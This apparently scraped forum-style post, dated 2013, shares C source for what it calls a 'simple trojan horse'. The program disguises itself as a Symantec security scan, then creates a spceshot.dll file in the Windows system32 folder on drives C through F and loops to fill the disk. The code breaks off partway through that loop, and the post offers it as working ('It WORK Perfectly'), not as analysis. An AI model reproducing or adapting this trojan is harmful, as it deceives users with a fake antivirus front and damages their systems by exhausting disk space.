It WORK Perfectly #include stdio.h #include conio.h #include - TopicsExpress



          

It WORK Perfectly #include stdio.h #include conio.h #include dos.h #include stdlib.h FILE *a,*t,*b; int r,status,vir_count; double i; char ch[]="CREATING A HUGE FILE FOR OCCUPYING HARDDISK SPACE",choice; void eatspace(void); void findroot(void); void showstatus(void); void draw(void); void accept(void); void main() { draw(); accept(); textcolor(WHITE); draw(); gotoxy(12,8); cputs("ANALYZING YOUR SYSTEM. PLEASE WAIT..."); sleep(3); gotoxy(12,8); delline(); cputs("PRESS ANY KEY TO START THE SYSTEM SCAN..."); getch(); gotoxy(12,8); delline(); findroot(); } void accept() { textcolor(LIGHTRED); gotoxy(1,8); cputs("THIS PROGRAM IS A DEMO OF SIMPLE TROJAN HORSE. IF YOU RUN THIS PROGRAM IT WILL EAT UP YOUR FULL HARD DISK SPACE ON ROOT DRIVE. HOWEVER IT IS POSSIBLE TO ELIMINATE THE DAMAGE. TO CLEANUP THE DAMAGE YOU'VE TO DELETE THE FILE "spceshot.dll" LOCATED IN "%windir%\System32". IF YOU WISH TO RUN THE PROGRAM PRESS ENTER, OTHERWISE PRESS ANY KEY TO QUIT."); if((choice=getch())!=13) exit(0); } void draw() { clrscr(); textcolor(WHITE); gotoxy(12,2); cputs("********************************************************"); gotoxy(12,6); cputs("********************************************************"); gotoxy(12,3); cputs("* * * "); gotoxy(67,3); cputs("* * * "); gotoxy(14,4); cputs("SYMANTEC SECURITY SCAN - 2009 (QUICK SYSTEM SCANNER)"); } void findroot() { t=fopen("C:\windows\explorer.exe","rb"); if(t!=NULL) { fclose(t); textcolor(WHITE); a=fopen("C:\windows\system32\spceshot.dll","rb"); if(a!=NULL) { textcolor(LIGHTRED); gotoxy(12,8); cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!"); getch(); exit(1); } b=fopen("C:\windows\system32\spceshot.dll","wb+"); if(b!=NULL) { showstatus(); eatspace(); } } t=fopen("D:\windows\explorer.exe","rb"); if(t!=NULL) { fclose(t); a=fopen("D:\windows\system32\spceshot.dll","rb"); if(a!=NULL) { textcolor(LIGHTRED); gotoxy(12,8); cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!"); getch(); exit(1); } b=fopen("D:\windows\system32\spceshot.dll","wb+"); if(b!=NULL) { showstatus(); eatspace(); } } t=fopen("E:\windows\explorer.exe","rb"); if(t!=NULL) { fclose(t); a=fopen("E:\windows\system32\spceshot.dll","rb"); if(a!=NULL) { textcolor(LIGHTRED); gotoxy(12,8); cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!"); getch(); exit(1); } b=fopen("E:\windows\system32\spceshot.dll","wb+"); if(b!=NULL) { showstatus(); eatspace(); } } t=fopen("F:\windows\explorer.exe","rb"); if(t!=NULL) { fclose(t); a=fopen("F:\windows\system32\spceshot.dll","rb"); if(a!=NULL) { textcolor(LIGHTRED); gotoxy(12,8); cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!"); getch(); exit(1); } b=fopen("F:\windows\system32\spceshot.dll","wb+"); if(b!=NULL) { showstatus(); eatspace(); } } if(t==NULL) { textcolor(LIGHTRED); gotoxy(12,8); cputs("SYSTEM SCAN FAILED! PRESS ANY KEY TO CLOSE THIS PROGRAM."); getch(); exit(1); } exit(1); } void eatspace() { textcolor(LIGHTRED); gotoxy(12,16); cputs("WARNING: DO NOT ABORT THE SCAN PROCESS UNTIL IT IS COMPLETED! "); textcolor(WHITE); gotoxy(12,18); while(1) { for(r=1;r
Posted on: Tue, 10 Sep 2013 04:49:52 +0000

Trending Topics



Recently Viewed Topics




© 2015